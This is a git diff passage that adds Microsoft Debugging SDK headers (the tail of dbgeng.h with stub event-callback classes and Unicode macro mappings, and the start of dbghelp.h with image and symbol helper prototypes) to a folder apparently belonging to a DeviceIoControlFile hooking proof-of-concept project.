DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 Handle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in PCSTR ModuleName, + __in PCSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp, + __in ULONG64 InitialThreadHandle, + __in ULONG64 ThreadDataOffset, + __in ULONG64 StartOffset + ) + { + UNREFERENCED_PARAMETER(ImageFileHandle); + UNREFERENCED_PARAMETER(Handle); + UNREFERENCED_PARAMETER(BaseOffset); + UNREFERENCED_PARAMETER(ModuleSize); + UNREFERENCED_PARAMETER(ModuleName); + UNREFERENCED_PARAMETER(ImageName); + UNREFERENCED_PARAMETER(CheckSum); + UNREFERENCED_PARAMETER(TimeDateStamp); + UNREFERENCED_PARAMETER(InitialThreadHandle); + UNREFERENCED_PARAMETER(ThreadDataOffset); + UNREFERENCED_PARAMETER(StartOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ExitProcess)( + THIS_ + __in ULONG ExitCode + ) + { + UNREFERENCED_PARAMETER(ExitCode); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(LoadModule)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in PCSTR ModuleName, + __in PCSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp + ) + { + UNREFERENCED_PARAMETER(ImageFileHandle); + UNREFERENCED_PARAMETER(BaseOffset); + UNREFERENCED_PARAMETER(ModuleSize); + UNREFERENCED_PARAMETER(ModuleName); + UNREFERENCED_PARAMETER(ImageName); + UNREFERENCED_PARAMETER(CheckSum); + UNREFERENCED_PARAMETER(TimeDateStamp); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(UnloadModule)( + THIS_ + __in PCSTR ImageBaseName, + __in ULONG64 BaseOffset + ) + { + UNREFERENCED_PARAMETER(ImageBaseName); + UNREFERENCED_PARAMETER(BaseOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(SystemError)( + THIS_ + __in ULONG Error, + __in ULONG Level + ) + { + UNREFERENCED_PARAMETER(Error); + UNREFERENCED_PARAMETER(Level); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(SessionStatus)( + THIS_ + __in ULONG Status + ) + { + UNREFERENCED_PARAMETER(Status); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ChangeDebuggeeState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } + STDMETHOD(ChangeEngineState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } + STDMETHOD(ChangeSymbolState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } +}; + +class DebugBaseEventCallbacksWide : public IDebugEventCallbacksWide +{ +public: + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) + { + *Interface = NULL; + +#if _MSC_VER >= 1100 + if (IsEqualIID(InterfaceId, __uuidof(IUnknown)) || + IsEqualIID(InterfaceId, __uuidof(IDebugEventCallbacksWide))) +#else + if (IsEqualIID(InterfaceId, IID_IUnknown) || + IsEqualIID(InterfaceId, IID_IDebugEventCallbacksWide)) +#endif + { + *Interface = (IDebugEventCallbacksWide *)this; + AddRef(); + return S_OK; + } + else + { + return E_NOINTERFACE; + } + } + + // IDebugEventCallbacksWide. + + STDMETHOD(Breakpoint)( + THIS_ + __in PDEBUG_BREAKPOINT2 Bp + ) + { + UNREFERENCED_PARAMETER(Bp); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(Exception)( + THIS_ + __in PEXCEPTION_RECORD64 Exception, + __in ULONG FirstChance + ) + { + UNREFERENCED_PARAMETER(Exception); + UNREFERENCED_PARAMETER(FirstChance); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(CreateThread)( + THIS_ + __in ULONG64 Handle, + __in ULONG64 DataOffset, + __in ULONG64 StartOffset + ) + { + UNREFERENCED_PARAMETER(Handle); + UNREFERENCED_PARAMETER(DataOffset); + UNREFERENCED_PARAMETER(StartOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ExitThread)( + THIS_ + __in ULONG ExitCode + ) + { + UNREFERENCED_PARAMETER(ExitCode); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 Handle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in PCWSTR ModuleName, + __in PCWSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp, + __in ULONG64 InitialThreadHandle, + __in ULONG64 ThreadDataOffset, + __in ULONG64 StartOffset + ) + { + UNREFERENCED_PARAMETER(ImageFileHandle); + UNREFERENCED_PARAMETER(Handle); + UNREFERENCED_PARAMETER(BaseOffset); + UNREFERENCED_PARAMETER(ModuleSize); + UNREFERENCED_PARAMETER(ModuleName); + UNREFERENCED_PARAMETER(ImageName); + UNREFERENCED_PARAMETER(CheckSum); + UNREFERENCED_PARAMETER(TimeDateStamp); + UNREFERENCED_PARAMETER(InitialThreadHandle); + UNREFERENCED_PARAMETER(ThreadDataOffset); + UNREFERENCED_PARAMETER(StartOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ExitProcess)( + THIS_ + __in ULONG ExitCode + ) + { + UNREFERENCED_PARAMETER(ExitCode); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(LoadModule)( + THIS_ + __in ULONG64 ImageFileHandle, + __in ULONG64 BaseOffset, + __in ULONG ModuleSize, + __in PCWSTR ModuleName, + __in PCWSTR ImageName, + __in ULONG CheckSum, + __in ULONG TimeDateStamp + ) + { + UNREFERENCED_PARAMETER(ImageFileHandle); + UNREFERENCED_PARAMETER(BaseOffset); + UNREFERENCED_PARAMETER(ModuleSize); + UNREFERENCED_PARAMETER(ModuleName); + UNREFERENCED_PARAMETER(ImageName); + UNREFERENCED_PARAMETER(CheckSum); + UNREFERENCED_PARAMETER(TimeDateStamp); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(UnloadModule)( + THIS_ + __in PCWSTR ImageBaseName, + __in ULONG64 BaseOffset + ) + { + UNREFERENCED_PARAMETER(ImageBaseName); + UNREFERENCED_PARAMETER(BaseOffset); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(SystemError)( + THIS_ + __in ULONG Error, + __in ULONG Level + ) + { + UNREFERENCED_PARAMETER(Error); + UNREFERENCED_PARAMETER(Level); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(SessionStatus)( + THIS_ + __in ULONG Status + ) + { + UNREFERENCED_PARAMETER(Status); + return DEBUG_STATUS_NO_CHANGE; + } + STDMETHOD(ChangeDebuggeeState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } + STDMETHOD(ChangeEngineState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } + STDMETHOD(ChangeSymbolState)( + THIS_ + __in ULONG Flags, + __in ULONG64 Argument + ) + { + UNREFERENCED_PARAMETER(Flags); + UNREFERENCED_PARAMETER(Argument); + return S_OK; + } +}; + +#endif // #ifndef DEBUG_NO_IMPLEMENTATION + +#ifdef DEBUG_UNICODE_MACROS + +#ifdef UNICODE + +#define IDebugEventCallbacksT IDebugEventCallbacksWide +#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacksWide +#define IDebugOutputCallbacksT IDebugOutputCallbacksWide +#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacksWide +#define DebugBaseEventCallbacksT DebugBaseEventCallbacksWide + +#define DebugConnectT DebugConnectWide +#define GetSourceFileInformationT GetSourceFileInformationWide +#define FindSourceFileAndTokenT FindSourceFileAndTokenWide +#define GetSymbolInformationT GetSymbolInformationWide +#define GetCommandT GetCommandWide +#define SetCommandT SetCommandWide +#define GetOffsetExpressionT GetOffsetExpressionWide +#define SetOffsetExpressionT SetOffsetExpressionWide +#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableNameWide +#define GetRunningProcessDescriptionT GetRunningProcessDescriptionWide +#define CreateProcessT CreateProcessWide +#define CreateProcessAndAttachT CreateProcessAndAttachWide +#define AddDumpInformationFileT AddDumpInformationFileWide +#define GetDumpFileT GetDumpFileWide +#define AttachKernelT AttachKernelWide +#define GetKernelConnectionOptionsT GetKernelConnectionOptionsWide +#define SetKernelConnectionOptionsT SetKernelConnectionOptionsWide +#define StartProcessServerT StartProcessServerWide +#define ConnectProcessServerT ConnectProcessServerWide +#define StartServerT StartServerWide +#define OutputServersT OutputServersWide +#define GetOutputCallbacksT GetOutputCallbacksWide +#define SetOutputCallbacksT SetOutputCallbacksWide +#define GetOutputLinePrefixT GetOutputLinePrefixWide +#define SetOutputLinePrefixT SetOutputLinePrefixWide +#define GetIdentityT GetIdentityWide +#define OutputIdentityT OutputIdentityWide +#define GetEventCallbacksT GetEventCallbacksWide +#define SetEventCallbacksT SetEventCallbacksWide +#define CreateProcess2T CreateProcess2Wide +#define CreateProcessAndAttach2T CreateProcessAndAttach2Wide +#define PushOutputLinePrefixT PushOutputLinePrefixWide +#define GetQuitLockStringT GetQuitLockStringWide +#define SetQuitLockStringT SetQuitLockStringWide +#define GetLogFileT GetLogFileWide +#define OpenLogFileT OpenLogFileWide +#define InputT InputWide +#define ReturnInputT ReturnInputWide +#define OutputT OutputWide +#define OutputVaListT OutputVaListWide +#define ControlledOutputT ControlledOutputWide +#define ControlledOutputVaListT ControlledOutputVaListWide +#define OutputPromptT OutputPromptWide +#define OutputPromptVaListT OutputPromptVaListWide +#define GetPromptTextT GetPromptTextWide +#define AssembleT AssembleWide +#define DisassembleT DisassembleWide +#define GetProcessorTypeNamesT GetProcessorTypeNamesWide +#define GetTextMacroT GetTextMacroWide +#define SetTextMacroT SetTextMacroWide +#define EvaluateT EvaluateWide +#define ExecuteT ExecuteWide +#define ExecuteCommandFileT ExecuteCommandFileWide +#define AddExtensionT AddExtensionWide +#define GetExtensionByPathT GetExtensionByPathWide +#define CallExtensionT CallExtensionWide +#define GetExtensionFunctionT GetExtensionFunctionWide +#define GetEventFilterTextT GetEventFilterTextWide +#define GetEventFilterCommandT GetEventFilterCommandWide +#define SetEventFilterCommandT SetEventFilterCommandWide +#define GetSpecificFilterArgumentT GetSpecificFilterArgumentWide +#define SetSpecificFilterArgumentT SetSpecificFilterArgumentWide +#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommandWide +#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommandWide +#define GetLastEventInformationT GetLastEventInformationWide +#define GetTextReplacementT GetTextReplacementWide +#define SetTextReplacementT SetTextReplacementWide +#define SetExpressionSyntaxByNameT SetExpressionSyntaxByNameWide +#define GetExpressionSyntaxNamesT GetExpressionSyntaxNamesWide +#define GetEventIndexDescriptionT GetEventIndexDescriptionWide +#define GetLogFile2T GetLogFile2Wide +#define OpenLogFile2T OpenLogFile2Wide +#define GetSystemVersionStringT GetSystemVersionStringWide +#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtualWide +#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtualWide +#define GetDescriptionT GetDescriptionWide +#define GetIndexByNameT GetIndexByNameWide +#define GetPseudoDescriptionT GetPseudoDescriptionWide +#define GetPseudoIndexByNameT GetPseudoIndexByNameWide +#define AddSymbolT AddSymbolWide +#define RemoveSymbolByNameT RemoveSymbolByNameWide +#define GetSymbolNameT GetSymbolNameWide +#define WriteSymbolT WriteSymbolWide +#define OutputAsTypeT OutputAsTypeWide +#define GetSymbolTypeNameT GetSymbolTypeNameWide +#define GetSymbolValueTextT GetSymbolValueTextWide +#define GetNameByOffsetT GetNameByOffsetWide +#define GetOffsetByNameT GetOffsetByNameWide +#define GetNearNameByOffsetT GetNearNameByOffsetWide +#define GetLineByOffsetT GetLineByOffsetWide +#define GetOffsetByLineT GetOffsetByLineWide +#define GetModuleByModuleNameT GetModuleByModuleNameWide +#define GetModuleByModuleName2T GetModuleByModuleName2Wide +#define GetSymbolModuleT GetSymbolModuleWide +#define GetTypeNameT GetTypeNameWide +#define GetTypeIdT GetTypeIdWide +#define GetFieldOffsetT GetFieldOffsetWide +#define GetSymbolTypeIdT GetSymbolTypeIdWide +#define StartSymbolMatchT StartSymbolMatchWide +#define GetNextSymbolMatchT GetNextSymbolMatchWide +#define ReloadT ReloadWide +#define GetSymbolPathT GetSymbolPathWide +#define SetSymbolPathT SetSymbolPathWide +#define AppendSymbolPathT AppendSymbolPathWide +#define GetImagePathT GetImagePathWide +#define SetImagePathT SetImagePathWide +#define AppendImagePathT AppendImagePathWide +#define GetSourcePathT GetSourcePathWide +#define GetSourcePathElementT GetSourcePathElementWide +#define SetSourcePathT SetSourcePathWide +#define AppendSourcePathT AppendSourcePathWide +#define FindSourceFileT FindSourceFileWide +#define GetSourceFileLineOffsetsT GetSourceFileLineOffsetsWide +#define GetModuleVersionInformationT GetModuleVersionInformationWide +#define GetModuleNameStringT GetModuleNameStringWide +#define GetConstantNameT GetConstantNameWide +#define GetFieldNameT GetFieldNameWide +#define GetFieldTypeAndOffsetT GetFieldTypeAndOffsetWide +#define GetSymbolEntriesByNameT GetSymbolEntriesByNameWide +#define GetSymbolEntryStringT GetSymbolEntryStringWide +#define GetSourceEntriesByLineT GetSourceEntriesByLineWide +#define GetSourceEntryStringT GetSourceEntryStringWide +#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableNameWide +#define GetCurrentSystemServerNameT GetCurrentSystemServerNameWide + +#else // #ifdef UNICODE + +#define IDebugEventCallbacksT IDebugEventCallbacks +#define IID_IDebugEventCallbacksT IID_IDebugEventCallbacks +#define IDebugOutputCallbacksT IDebugOutputCallbacks +#define IID_IDebugOutputCallbacksT IID_IDebugOutputCallbacks +#define DebugBaseEventCallbacksT DebugBaseEventCallbacks + +#define DebugConnectT DebugConnect +#define GetSourceFileInformationT GetSourceFileInformation +#define FindSourceFileAndTokenT FindSourceFileAndToken +#define GetSymbolInformationT GetSymbolInformation +#define GetCommandT GetCommand +#define SetCommandT SetCommand +#define GetOffsetExpressionT GetOffsetExpression +#define SetOffsetExpressionT SetOffsetExpression +#define GetRunningProcessSystemIdByExecutableNameT GetRunningProcessSystemIdByExecutableName +#define GetRunningProcessDescriptionT GetRunningProcessDescription +#define CreateProcessT CreateProcess +#define CreateProcessAndAttachT CreateProcessAndAttach +#define AddDumpInformationFileT AddDumpInformationFile +#define GetDumpFileT GetDumpFile +#define AttachKernelT AttachKernel +#define GetKernelConnectionOptionsT GetKernelConnectionOptions +#define SetKernelConnectionOptionsT SetKernelConnectionOptions +#define StartProcessServerT StartProcessServer +#define ConnectProcessServerT ConnectProcessServer +#define StartServerT StartServer +#define OutputServersT OutputServers +#define GetOutputCallbacksT GetOutputCallbacks +#define SetOutputCallbacksT SetOutputCallbacks +#define GetOutputLinePrefixT GetOutputLinePrefix +#define SetOutputLinePrefixT SetOutputLinePrefix +#define GetIdentityT GetIdentity +#define OutputIdentityT OutputIdentity +#define GetEventCallbacksT GetEventCallbacks +#define SetEventCallbacksT SetEventCallbacks +#define CreateProcess2T CreateProcess2 +#define CreateProcessAndAttach2T CreateProcessAndAttach2 +#define PushOutputLinePrefixT PushOutputLinePrefix +#define GetQuitLockStringT GetQuitLockString +#define SetQuitLockStringT SetQuitLockString +#define GetLogFileT GetLogFile +#define OpenLogFileT OpenLogFile +#define InputT Input +#define ReturnInputT ReturnInput +#define OutputT Output +#define OutputVaListT OutputVaList +#define ControlledOutputT ControlledOutput +#define ControlledOutputVaListT ControlledOutputVaList +#define OutputPromptT OutputPrompt +#define OutputPromptVaListT OutputPromptVaList +#define GetPromptTextT GetPromptText +#define AssembleT Assemble +#define DisassembleT Disassemble +#define GetProcessorTypeNamesT GetProcessorTypeNames +#define GetTextMacroT GetTextMacro +#define SetTextMacroT SetTextMacro +#define EvaluateT Evaluate +#define ExecuteT Execute +#define ExecuteCommandFileT ExecuteCommandFile +#define AddExtensionT AddExtension +#define GetExtensionByPathT GetExtensionByPath +#define CallExtensionT CallExtension +#define GetExtensionFunctionT GetExtensionFunction +#define GetEventFilterTextT GetEventFilterText +#define GetEventFilterCommandT GetEventFilterCommand +#define SetEventFilterCommandT SetEventFilterCommand +#define GetSpecificFilterArgumentT GetSpecificFilterArgument +#define SetSpecificFilterArgumentT SetSpecificFilterArgument +#define GetExceptionFilterSecondCommandT GetExceptionFilterSecondCommand +#define SetExceptionFilterSecondCommandT SetExceptionFilterSecondCommand +#define GetLastEventInformationT GetLastEventInformation +#define GetTextReplacementT GetTextReplacement +#define SetTextReplacementT SetTextReplacement +#define SetExpressionSyntaxByNameT SetExpressionSyntaxByName +#define GetExpressionSyntaxNamesT GetExpressionSyntaxNames +#define GetEventIndexDescriptionT GetEventIndexDescription +#define GetLogFile2T GetLogFile2 +#define OpenLogFile2T OpenLogFile2 +#define GetSystemVersionStringT GetSystemVersionString +#define ReadMultiByteStringVirtualT ReadMultiByteStringVirtual +#define ReadUnicodeStringVirtualT ReadUnicodeStringVirtual +#define GetDescriptionT GetDescription +#define GetIndexByNameT GetIndexByName +#define GetPseudoDescriptionT GetPseudoDescription +#define GetPseudoIndexByNameT GetPseudoIndexByName +#define AddSymbolT AddSymbol +#define RemoveSymbolByNameT RemoveSymbolByName +#define GetSymbolNameT GetSymbolName +#define WriteSymbolT WriteSymbol +#define OutputAsTypeT OutputAsType +#define GetSymbolTypeNameT GetSymbolTypeName +#define GetSymbolValueTextT GetSymbolValueText +#define GetNameByOffsetT GetNameByOffset +#define GetOffsetByNameT GetOffsetByName +#define GetNearNameByOffsetT GetNearNameByOffset +#define GetLineByOffsetT GetLineByOffset +#define GetOffsetByLineT GetOffsetByLine +#define GetModuleByModuleNameT GetModuleByModuleName +#define GetModuleByModuleName2T GetModuleByModuleName2 +#define GetSymbolModuleT GetSymbolModule +#define GetTypeNameT GetTypeName +#define GetTypeIdT GetTypeId +#define GetFieldOffsetT GetFieldOffset +#define GetSymbolTypeIdT GetSymbolTypeId +#define StartSymbolMatchT StartSymbolMatch +#define GetNextSymbolMatchT GetNextSymbolMatch +#define ReloadT Reload +#define GetSymbolPathT GetSymbolPath +#define SetSymbolPathT SetSymbolPath +#define AppendSymbolPathT AppendSymbolPath +#define GetImagePathT GetImagePath +#define SetImagePathT SetImagePath +#define AppendImagePathT AppendImagePath +#define GetSourcePathT GetSourcePath +#define GetSourcePathElementT GetSourcePathElement +#define SetSourcePathT SetSourcePath +#define AppendSourcePathT AppendSourcePath +#define FindSourceFileT FindSourceFile +#define GetSourceFileLineOffsetsT GetSourceFileLineOffsets +#define GetModuleVersionInformationT GetModuleVersionInformation +#define GetModuleNameStringT GetModuleNameString +#define GetConstantNameT GetConstantName +#define GetFieldNameT GetFieldName +#define GetFieldTypeAndOffsetT GetFieldTypeAndOffset +#define GetSymbolEntriesByNameT GetSymbolEntriesByName +#define GetSymbolEntryStringT GetSymbolEntryString +#define GetSourceEntriesByLineT GetSourceEntriesByLine +#define GetSourceEntryStringT GetSourceEntryString +#define GetCurrentProcessExecutableNameT GetCurrentProcessExecutableName +#define GetCurrentSystemServerNameT GetCurrentSystemServerName + +#endif // #ifdef UNICODE + +#endif // #ifdef DEBUG_UNICODE_MACROS + +#endif // #ifdef __cplusplus + +#endif // #ifndef __DBGENG_H__ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h new file mode 100644 index 00000000..2e58efc1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/dbghelp.h @@ -0,0 +1,4593 @@ +/*++ BUILD Version: 0000 Increment this if a change has global effects + +Copyright (c) Microsoft Corporation. All rights reserved. + +Module Name: + + dbghelp.h + +Abstract: + + This module defines the prototypes and constants required for the image + help routines. + + Contains debugging support routines that are redistributable. + +Revision History: + +--*/ + +#ifndef _DBGHELP_ +#define _DBGHELP_ + +#if _MSC_VER > 1020 +#pragma once +#endif + + +// As a general principal always call the 64 bit version +// of every API, if a choice exists. The 64 bit version +// works great on 32 bit platforms, and is forward +// compatible to 64 bit platforms. + +#ifdef _WIN64 +#ifndef _IMAGEHLP64 +#define _IMAGEHLP64 +#endif +#endif + +#include + +// For those without specstrings.h +// Since there are different versions of this header, I need to +// individually test each item and define it if it is not around. + +#ifndef __in + #define __in +#endif +#ifndef __out + #define __out +#endif +#ifndef __inout + #define __inout +#endif +#ifndef __in_opt + #define __in_opt +#endif +#ifndef __out_opt + #define __out_opt +#endif +#ifndef __inout_opt + #define __inout_opt +#endif +#ifndef __in_ecount + #define __in_ecount(x) +#endif +#ifndef __out_ecount + #define __out_ecount(x) +#endif +#ifndef __inout_ecount + #define __inout_ecount(x) +#endif +#ifndef __in_bcount + #define __in_bcount(x) +#endif +#ifndef __out_bcount + #define __out_bcount(x) +#endif +#ifndef __inout_bcount + #define __inout_bcount(x) +#endif +#ifndef __out_xcount + #define __out_xcount(x) +#endif +#ifndef __deref_opt_out + #define __deref_opt_out +#endif +#ifndef __deref_out + #define __deref_out +#endif +#ifndef __out_ecount_opt + #define __out_ecount_opt(x) +#endif +#ifndef __in_bcount_opt + #define __in_bcount_opt(x) +#endif +#ifndef __out_bcount_opt + #define __out_bcount_opt(x) +#endif +#ifndef __deref_out_opt + #define __deref_out_opt +#endif + + +#ifdef __cplusplus +extern "C" { +#endif + +#ifdef _IMAGEHLP_SOURCE_ + #define IMAGEAPI __stdcall + #define DBHLP_DEPRECIATED +#else + #define IMAGEAPI DECLSPEC_IMPORT __stdcall + #if (_MSC_VER >= 1300) && !defined(MIDL_PASS) + #define DBHLP_DEPRECIATED __declspec(deprecated) + #else + #define DBHLP_DEPRECIATED + #endif +#endif + +#define DBHLPAPI IMAGEAPI + +#define IMAGE_SEPARATION (64*1024) + +// Observant readers may notice that 2 new fields, +// 'fReadOnly' and 'Version' have been added to +// the LOADED_IMAGE structure after 'fDOSImage'. +// This does not change the size of the structure +// from previous headers. That is because while +// 'fDOSImage' is a byte, it is padded by the +// compiler to 4 bytes. So the 2 new fields are +// slipped into the extra space. + +typedef struct _LOADED_IMAGE { + PSTR ModuleName; + HANDLE hFile; + PUCHAR MappedAddress; +#ifdef _IMAGEHLP64 + PIMAGE_NT_HEADERS64 FileHeader; +#else + PIMAGE_NT_HEADERS32 FileHeader; +#endif + PIMAGE_SECTION_HEADER LastRvaSection; + ULONG NumberOfSections; + PIMAGE_SECTION_HEADER Sections; + ULONG Characteristics; + BOOLEAN fSystemImage; + BOOLEAN fDOSImage; + BOOLEAN fReadOnly; + UCHAR Version; + LIST_ENTRY Links; + ULONG SizeOfImage; +} LOADED_IMAGE, *PLOADED_IMAGE; + +#define MAX_SYM_NAME 2000 + + +// Error codes set by dbghelp functions. Call GetLastError +// to see them. +// Dbghelp also sets error codes found in winerror.h + +#define ERROR_IMAGE_NOT_STRIPPED 0x8800 // the image is not stripped. No dbg file available. +#define ERROR_NO_DBG_POINTER 0x8801 // image is stripped but there is no pointer to a dbg file +#define ERROR_NO_PDB_POINTER 0x8802 // image does not point to a pdb file + +typedef BOOL +(CALLBACK *PFIND_DEBUG_FILE_CALLBACK)( + __in HANDLE FileHandle, + __in PCSTR FileName, + __in PVOID CallerData + ); + +HANDLE +IMAGEAPI +SymFindDebugInfoFile( + __in HANDLE hProcess, + __in PCSTR FileName, + __out_ecount(MAX_PATH + 1) PSTR DebugFilePath, + __in_opt PFIND_DEBUG_FILE_CALLBACK Callback, + __in_opt PVOID CallerData + ); + +typedef BOOL +(CALLBACK *PFIND_DEBUG_FILE_CALLBACKW)( + __in HANDLE FileHandle, + __in PCWSTR FileName, + __in PVOID CallerData + ); + +HANDLE +IMAGEAPI +SymFindDebugInfoFileW( + __in HANDLE hProcess, + __in PCWSTR FileName, + __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath, + __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback, + __in_opt PVOID CallerData + ); + +HANDLE +IMAGEAPI +FindDebugInfoFile ( + __in PCSTR FileName, + __in PCSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PSTR DebugFilePath + ); + +HANDLE +IMAGEAPI +FindDebugInfoFileEx ( + __in PCSTR FileName, + __in PCSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PSTR DebugFilePath, + __in_opt PFIND_DEBUG_FILE_CALLBACK Callback, + __in_opt PVOID CallerData + ); + +HANDLE +IMAGEAPI +FindDebugInfoFileExW ( + __in PCWSTR FileName, + __in PCWSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PWSTR DebugFilePath, + __in_opt PFIND_DEBUG_FILE_CALLBACKW Callback, + __in_opt PVOID CallerData + ); + +typedef BOOL +(CALLBACK *PFINDFILEINPATHCALLBACK)( + __in PCSTR filename, + __in PVOID context + ); + +BOOL +IMAGEAPI +SymFindFileInPath( + __in HANDLE hprocess, + __in_opt PCSTR SearchPath, + __in PCSTR FileName, + __in_opt PVOID id, + __in DWORD two, + __in DWORD three, + __in DWORD flags, + __out_ecount(MAX_PATH + 1) PSTR FoundFile, + __in_opt PFINDFILEINPATHCALLBACK callback, + __in_opt PVOID context + ); + +typedef BOOL +(CALLBACK *PFINDFILEINPATHCALLBACKW)( + __in PCWSTR filename, + __in PVOID context + ); + +BOOL +IMAGEAPI +SymFindFileInPathW( + __in HANDLE hprocess, + __in_opt PCWSTR SearchPath, + __in PCWSTR FileName, + __in_opt PVOID id, + __in DWORD two, + __in DWORD three, + __in DWORD flags, + __out_ecount(MAX_PATH + 1) PWSTR FoundFile, + __in_opt PFINDFILEINPATHCALLBACKW callback, + __in_opt PVOID context + ); + +typedef BOOL +(CALLBACK *PFIND_EXE_FILE_CALLBACK)( + __in HANDLE FileHandle, + __in PCSTR FileName, + __in_opt PVOID CallerData + ); + +HANDLE +IMAGEAPI +SymFindExecutableImage( + __in HANDLE hProcess, + __in PCSTR FileName, + __out_ecount(MAX_PATH + 1) PSTR ImageFilePath, + __in PFIND_EXE_FILE_CALLBACK Callback, + __in PVOID CallerData + ); + +typedef BOOL +(CALLBACK *PFIND_EXE_FILE_CALLBACKW)( + __in HANDLE FileHandle, + __in PCWSTR FileName, + __in_opt PVOID CallerData + ); + +HANDLE +IMAGEAPI +SymFindExecutableImageW( + __in HANDLE hProcess, + __in PCWSTR FileName, + __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath, + __in PFIND_EXE_FILE_CALLBACKW Callback, + __in PVOID CallerData + ); + +HANDLE +IMAGEAPI +FindExecutableImage( + __in PCSTR FileName, + __in PCSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PSTR ImageFilePath + ); + +HANDLE +IMAGEAPI +FindExecutableImageEx( + __in PCSTR FileName, + __in PCSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PSTR ImageFilePath, + __in_opt PFIND_EXE_FILE_CALLBACK Callback, + __in_opt PVOID CallerData + ); + +HANDLE +IMAGEAPI +FindExecutableImageExW( + __in PCWSTR FileName, + __in PCWSTR SymbolPath, + __out_ecount(MAX_PATH + 1) PWSTR ImageFilePath, + __in_opt PFIND_EXE_FILE_CALLBACKW Callback, + __in PVOID CallerData + ); + +PIMAGE_NT_HEADERS +IMAGEAPI +ImageNtHeader ( + __in PVOID Base + ); + +PVOID +IMAGEAPI +ImageDirectoryEntryToDataEx ( + __in PVOID Base, + __in BOOLEAN MappedAsImage, + __in USHORT DirectoryEntry, + __out PULONG Size, + __out_opt PIMAGE_SECTION_HEADER *FoundHeader + ); + +PVOID +IMAGEAPI +ImageDirectoryEntryToData ( + __in PVOID Base, + __in BOOLEAN MappedAsImage, + __in USHORT DirectoryEntry, + __out PULONG Size + ); + +PIMAGE_SECTION_HEADER +IMAGEAPI +ImageRvaToSection( + __in PIMAGE_NT_HEADERS NtHeaders, + __in PVOID Base, + __in ULONG Rva + ); + +PVOID +IMAGEAPI +ImageRvaToVa( + __in PIMAGE_NT_HEADERS NtHeaders, + __in PVOID Base, + __in ULONG Rva, + __in_opt OUT PIMAGE_SECTION_HEADER *LastRvaSection + ); + +#ifndef _WIN64 +// This api won't be ported to Win64 - Fix your code. + +typedef struct _IMAGE_DEBUG_INFORMATION { + LIST_ENTRY List; + DWORD ReservedSize; + PVOID ReservedMappedBase; + USHORT ReservedMachine; + USHORT ReservedCharacteristics; + DWORD ReservedCheckSum; + DWORD ImageBase; + DWORD SizeOfImage; + + DWORD ReservedNumberOfSections; + PIMAGE_SECTION_HEADER ReservedSections; + + DWORD ReservedExportedNamesSize; + PSTR ReservedExportedNames; + + DWORD ReservedNumberOfFunctionTableEntries; + PIMAGE_FUNCTION_ENTRY ReservedFunctionTableEntries; + DWORD ReservedLowestFunctionStartingAddress; + DWORD ReservedHighestFunctionEndingAddress; + + DWORD 